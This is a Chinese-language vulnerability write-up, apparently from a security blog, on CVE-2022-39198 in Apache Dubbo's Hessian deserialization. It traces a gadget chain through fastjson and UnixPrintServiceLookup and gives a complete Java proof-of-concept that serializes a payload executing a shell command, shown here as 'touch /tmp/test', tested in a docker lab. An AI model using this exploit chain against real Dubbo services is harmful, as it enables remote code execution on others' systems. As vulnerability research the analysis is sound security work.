出品|先知社区(ID:LeeH)
声明
以下内容,来自先知社区的LeeH作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
CVE-2022-39198
影响
2.7.x < version < 2.7.18
3.0.x < version < 3.0.12
3.1.x < version <= 3.1.0
漏洞描述
我们可以看看在apache通告中对漏洞的简单的描述
很明显,从这个漏洞描述中,我们能够明白这个CVE的造成主要是因为dubbo中内置的hessian项目,主要是因为在hessian-lite中的3.2.12及以前版本中存在有这个漏洞
https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad
org.apache.commons.codec. org.aspectj. org.dom4j org.junit. org.mockito. org.thymeleaf. ognl. sun.print.
对于其他的包名的的利用链,之后我将会通过自动化工具的方式进行挖掘探索
漏洞回顾
要想要知道能够利用的恶意类到底是哪一个,我们需要明白hessian需要触发什么才能导致漏洞的利用
漏洞分析
在CVE-2021-25641这个CVE中存在的一条利用链是通过fastjson库的JSONObject#toString方法来进行反序列化操作,而在一起反序列化的过程中将会调用反序列化类的任意getter方法,当时是直接通过触发了TemplatesImpl#getOutputProperties方法来进行利用的
我们跟进一下这种利用方式,我们这里选用的环境是单独的一个dubbo依赖的环境(2.7.16版本)
沿用以前的思路,通过dubbo库依赖的fastjson库,进行任意getter方法的调用,进行调用上图中的getDefaultPrintService方法进行利用
toString:1071, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
write:271, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)
if (CUPSPrinter.isCupsRunning())
并且操作系统不能够使MAC OS和SUN OS
如果能够满足我们上面的条件,我们将会进一步调
用到getDefaultPrinterNameBSD方法中这里,将会将lpcFirstCom属性中的值传入exeCmd
方法中进行调用而在该方法中,将会将命令拼接在/bin/sh / /usr/bin/sh这两个环境进行执行
POC
public class Test {
public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static void main(String[] args) {
try {
//需要执行的命令
String cmd = "touch /tmp/test";
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
//绕过getDefaultPrinterNameBSD中的限制
//设置属性
setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
setFieldValue(unixPrintServiceLookup, "osname", "xx");
setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
//封装一个JSONObject对象调用getter方法
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);
//使用XString类调用toString方法
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",jsonObject);
map1.put("zZ",xString);
map2.put("yy",xString);
map2.put("zZ",jsonObject);
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
hessianOutput.setSerializerFactory(new SerializerFactory());
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(s);
hessianOutput.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}catch (Exception e) {
e.printStackTrace();
}
}
}
利用
我这里使用的是自己使用docker搭建的一个带有hessian反序列化环境且仅依赖dubbo库的环境
在docker环境中,成功创建了/tmp/test这个空文件
总结
这里不仅可以通过从getDefaultPrintService这个getter方法中进行漏洞的触发
同样也能够在其他的getter方法中进行漏洞的触发,因为毕竟fastjson的反序列化过程调用的所有的getter方法,比如说是也可以从getPrintServices方法中开始进行利用
当然,还有其他的getter方法
参考
-
https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad
-
https://lists.apache.org/thread/8d3zqrkoy4jh8dy37j4rd7g9jodzlvkk -
https://pupil857.github.io/2022/12/08/NCTF2022%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/ -
https://tttang.com/archive/1510/
▇ 扫码关注我们 ▇
长白山攻防实验室
学习最新技术知识
原文始发于微信公众号(长白山攻防实验室):CVE-2022-39198 Apache Dubbo Hession Deserialization分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论